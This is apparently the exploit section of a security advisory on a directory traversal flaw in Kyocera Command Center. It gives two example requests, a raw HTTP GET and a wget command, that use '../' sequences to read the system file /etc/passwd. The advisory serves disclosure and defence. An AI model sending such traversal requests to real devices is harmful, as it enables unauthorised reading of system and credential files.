• info
• discussion
• exploit
• solution
• references

Kyocera Command Center Directory Traversal Vulnerability

An attacker can exploit this issue via readily available tools.

The following examples are available:

GET /../../../../../../../../../etc/passwd HTTP/1.0

wget http://www.example.com/../../../../../../../../../etc/passwd